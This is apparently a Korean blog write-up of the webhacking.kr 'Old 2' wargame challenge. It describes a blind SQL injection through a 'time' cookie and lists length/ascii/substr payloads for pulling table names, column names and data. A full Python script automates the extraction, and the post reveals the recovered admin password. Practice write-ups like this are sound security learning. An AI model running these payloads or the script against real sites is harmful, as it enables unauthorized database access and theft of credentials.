처음 index.php의 페이지 소스를 보면 주석으로 timestamp가 찍혀있고 admin.php의 존재를 알려준다. admin.php로 들어가보면 비밀번호를 입력해야 하는데 기초적인 SQL Injection을 시도해도 특별한 일이 일어나지는 않는다.
쿠키를 살펴보면 time 쿠키가 생긴 것을 볼 수 있다.
이 time 값에 변화를 주면 주석의 timestamp가 변한다는 사실을 알 수 있다.
time=123456789 AND 1=1을 넣으면 2070년 1월 1일 9시 0분 1초가 나오고, time=123456789 AND 1=0을 넣으면 2070년 1월 1일 9시 0분 0초가 나온다. 이 사실을 통해, 내부적으로 MySQL의 FROM_UNIXTIME 함수를 사용하고 2000년~2099년 사이의 범위로 맞춰준다는 것을 추정할 수 있다.
FROM_UNIXTIME은 인자로 정수를 받기 때문에 ASCII나 LENGTH 등을 사용해 테이블 정보를 알아내고 그 뒤에 비밀번호를 가져오면 될 것이다.
1. 테이블 정보 확인
LIMIT로 각 테이블의 이름의 길이를 가져온다.
length((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {table_index},1))
길이 확인 후에는 ASCII로 한 글자씩 테이블 이름을 가져온다.
ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {table_index},1), {index}, 1))
2. 컬럼(Column) 정보 확인
1번과 동일한 방법으로, 탐색 범위만 변경해주면 된다. 각 테이블에 대해 실행하면 모든 테이블의 컬럼 정보를 가져올 수 있다.
length((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {column_index},1))
ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {column_index},1), {index}, 1))
3. 데이터 추출
테이블명과 컬럼명을 전부 알아냈으니 데이터를 가져오면 된다.
length((SELECT {column} FROM {table} LIMIT {data_index},1))
ascii(substr((SELECT {column} FROM {table} LIMIT {data_index},1), {index}, 1))
아래는 위 방법을 사용해 작성한 자동화 코드다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
|
import requests
if __name__ == '__main__' :
URL = 'https://webhacking.kr/challenge/web-02/index.php'
c = {'PHPSESSID': '2j44mla1pqks5t7t3k73d79211'}
tables = []
# Get table data
table_index = 0
while True :
# Existence check
c['time'] = "(SELECT EXISTS(SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1))".format(table_index)
r = requests.post(URL, cookies=c)
if int(r.text[22:24]) == 0 : break
# Find the length of table name
c['time'] = "length((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1))".format(table_index)
r = requests.post(URL, cookies=c)
length = int(r.text[22:24])
table_name = ''
# Find the table name
for i in range(0, length) :
c['time'] = "ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table' LIMIT {0},1), {1}, 1))".format(table_index, i+1)
r = requests.post(URL, cookies=c)
table_name += chr(int(r.text[19:21])*60+int(r.text[22:24]))
print('Table %d: '%(table_index+1)+table_name)
tables.append([table_name])
table_index += 1
# Get column data
for table in tables :
column_index = 0
print('Table '+table[0]+':')
while True :
# Existence check
c['time'] = "(SELECT EXISTS(SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1))".format(table[0], column_index)
r = requests.post(URL, cookies=c)
if int(r.text[22:24]) == 0: break
# Find the length of column name
c['time'] = "length((SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1))".format(table[0], column_index)
r = requests.post(URL, cookies=c)
length = int(r.text[22:24])
column_name = ''
# Find the column name
for i in range(0, length) :
c['time'] = "ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='{0}' LIMIT {1},1), {2}, 1))".format(table[0], column_index, i+1)
r = requests.post(URL, cookies=c)
column_name += chr(int(r.text[19:21])*60+int(r.text[22:24]))
print(' Column %d: '%(column_index+1)+column_name)
table.append(column_name)
column_index += 1
# Get data from tables
for table in tables :
print('Table '+table[0]+':')
for column in table[1:] :
print(' Column '+column+':')
data_index = 0
while True :
c['time'] = "(SELECT EXISTS(SELECT {0} FROM {1} LIMIT {2},1))".format(column, table[0], data_index)
r = requests.post(URL, cookies=c)
if int(r.text[22:24]) == 0: break
c['time'] = "length((SELECT {0} FROM {1} LIMIT {2},1))".format(column, table[0], data_index)
r = requests.post(URL, cookies=c)
length = int(r.text[22:24])
data = ''
for i in range(0, length) :
c['time'] = "ascii(substr((SELECT {0} FROM {1} LIMIT {2},1), {3}, 1))".format(column, table[0], data_index, i+1)
r = requests.post(URL, cookies=c)
data += chr(int(r.text[19:21])*60+int(r.text[22:24]))
print(' '+data)
data_index += 1
|
cs |
실행 결과는 다음과 같다.
kudos_to_beistlab을 admin.php의 비밀번호에 넣어주면 된다.
Last update: 20191107
'Wargame > webhacking.kr' 카테고리의 다른 글
webhacking.kr / Old 6 (0) | 2019.11.26 |
---|---|
webhacking.kr / Old 5 (0) | 2019.11.07 |
webhacking.kr / Old 4 (0) | 2019.11.07 |
webhacking.kr / Old 3 (0) | 2019.11.07 |
webhacking.kr / Old 1 (0) | 2019.10.29 |